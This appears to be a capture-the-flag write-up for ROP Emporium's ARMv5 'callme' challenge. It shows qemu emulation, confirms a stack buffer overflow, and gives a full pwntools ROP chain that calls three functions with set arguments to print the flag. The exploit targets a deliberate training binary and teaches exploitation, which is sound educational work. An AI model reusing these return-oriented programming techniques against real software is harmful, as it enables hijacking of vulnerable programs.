#rop #arm
# callme ARM
## Triage

Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain.
### Disassembly
main function calls vulnerable call pwnme

pwnme function

## Emulation
Because this binary is an ARM archetecture, to be able to run the binary we need to emulate it somehow.
I will be using [qemu](https://www.qemu.org/), specifically qemu-arm\
Install require libraries
`sudo apt-get install gcc-arm-linux-gnueabi libc6-armel-cross`
Run the binary
`qemu-arm -L /usr/arm-linux-gnueabi ./callme_armv5`
## Vulnerability
In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address.
If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter.
Confirming the vulnerability:
```bash
python -c 'print "A"*36+"BBBB"' | qemu-arm -strace -L /usr/arm-linux-gnueabi ./callme_armv5
```
```bash
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 3275957 done python -c 'print "A"*36+"BBBB"' |
3275958 segmentation fault (core dumped) qemu-arm -strace -L /usr/arm-linux-gnueabi ./callme_armv5
```
## Exploit
Description says:
`To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.`
In arm32 the way to pass function parameters through registers:
`r0,r1,r2,r3`
We need gadgets that can pop the values off the stack and into the correct registers.
Using ROPgadget:
`pop_r0_r1_r2_lr_pc = p32(0x00010870)# : pop {r0, r1, r2, lr, pc}`
`pop_r3_pc = p32(0x000105dc)# : pop {r3, pc}`
We set the link register to the `pop_r3_pc` gadget to place the next function on the stack into `pc` but we also have a junk register of `r3` so I place 0 in there,
### Script
```python
from pwn import *
context.binary = elf = ELF("./callme_armv5")
pop_r0_r1_r2_lr_pc = p32(0x00010870)# : pop {r0, r1, r2, lr, pc}
pop_r3_pc = p32(0x000105dc)# : pop {r3, pc}
payload = "A"*36
payload += pop_r0_r1_r2_lr_pc
payload += p32(0xdeadbeef) # r0
payload += p32(0xcafebabe) # r1
payload += p32(0xd00df00d) # r2
payload += p32(0x000105dc) # lr
payload += p32(elf.sym['callme_one']) # pc
payload += p32(0) # r3
payload += pop_r0_r1_r2_lr_pc #pc
payload += p32(0xdeadbeef) # r0
payload += p32(0xcafebabe) # r1
payload += p32(0xd00df00d) # r2
payload += p32(0x000105dc) # lr
payload += p32(elf.sym['callme_two']) # pc
payload += p32(0) # r3
payload += pop_r0_r1_r2_lr_pc #pc
payload += p32(0xdeadbeef) # r0
payload += p32(0xcafebabe) # r1
payload += p32(0xd00df00d) # r2
payload += p32(0) # lr
payload += p32(elf.sym['callme_three']) # pc
io = process("./callme_armv5",env={"QEMU_LD_PREFIX":"/usr/arm-linux-gnueabi"})
#io =gdb.debug("./callme_armv5",env={"QEMU_LD_PREFIX":"/usr/arm-linux-gnueabi"})
io.sendline(payload)
io.interactive()
```
### Result
```bash
[*] '/home/chris/ctfs/ropemporium/callme/arm/callme_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
RUNPATH: '.'
[+] Starting local process './callme_armv5': pid 3278592
[*] Switching to interactive mode
callme by ROP Emporium
ARMv5
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
```